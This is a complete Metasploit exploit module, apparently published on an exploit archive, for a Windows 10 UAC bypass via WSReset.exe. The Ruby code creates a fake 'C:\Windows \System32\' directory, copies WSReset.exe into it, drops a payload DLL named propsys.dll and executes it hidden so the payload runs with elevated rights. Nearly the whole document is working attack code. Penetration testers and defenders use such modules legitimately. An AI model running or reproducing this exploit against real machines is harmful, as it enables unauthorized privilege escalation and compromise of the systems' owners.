Microsoft Windows 10 UAC Protection Bypass Via Windows Store

This Metasploit module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool is run with the "autoElevate" property set to true, however it can be moved to a new Windows directory containing a space (C:\Windows \System32\) where, upon execution, it will load our payload dll (propsys.dll).


MD5 | b188fc5d0237e2798ceb17453907bcbe

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking

include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Post::Windows::Priv
include Post::Windows::Runas

def initialize(info = {})
super(
update_info( info,
'Name' => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)',
'Description' => %q{
This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool
is run with the "autoElevate" property set to true, however it can be moved to
a new Windows directory containing a space (C:\Windows \System32\) where, upon
execution, it will load our payload dll (propsys.dll).
},
'License' => MSF_LICENSE,
'Author' => [
'ACTIVELabs', # discovery
'sailay1996', # poc
'timwr', # metasploit module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [[ 'Automatic', {} ]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'EXITFUNC' => 'process',
'WfsDelay' => 15
},
'DisclosureDate' => 'Aug 22 2019',
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
},
'References' => [
['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'],
['URL', 'https://github.com/sailay1996/UAC_bypass_windows_store'],
['URL', 'https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e'],
],
)
)
end

def check
if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe")
return CheckCode::Appears
end
CheckCode::Safe
end

def exploit
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
end

# Make sure we have a sane payload configuration
if sysinfo['Architecture'] != payload.arch.first
fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target')
end

check_permissions!

case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end

exploit_win_dir = "C:\\Windows \\"
exploit_dir = "C:\\Windows \\System32\\"
exploit_file = exploit_dir + "WSReset.exe"
unless exists? exploit_win_dir
print_status("Creating directory '#{exploit_win_dir}'...")
session.fs.dir.mkdir(exploit_win_dir)
end
unless exists? exploit_dir
print_status("Creating directory '#{exploit_dir}'...")
session.fs.dir.mkdir(exploit_dir)
end
unless exists? exploit_file
session.fs.file.copy("C:\\Windows\\System32\\WSReset.exe", exploit_file)
end

payload_dll = "C:\\Windows \\System32\\propsys.dll"
print_status("Creating payload '#{payload_dll}'...")
payload = generate_payload_dll
write_file(payload_dll, payload)
print_status("Executing WSReset.exe...")
begin
session.sys.process.execute("cmd.exe /c \"#{exploit_file}\"", nil, {'Hidden' => true})
rescue ::Exception => e
print_error(e.to_s)
end
print_warning("This exploit requires manual cleanup of the '#{exploit_win_dir}' and '#{exploit_dir}' directories!")
end

def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
# is_in_admin_group can be nil, true, or false
print_status('UAC is Enabled, checking level...')
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end

if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
end

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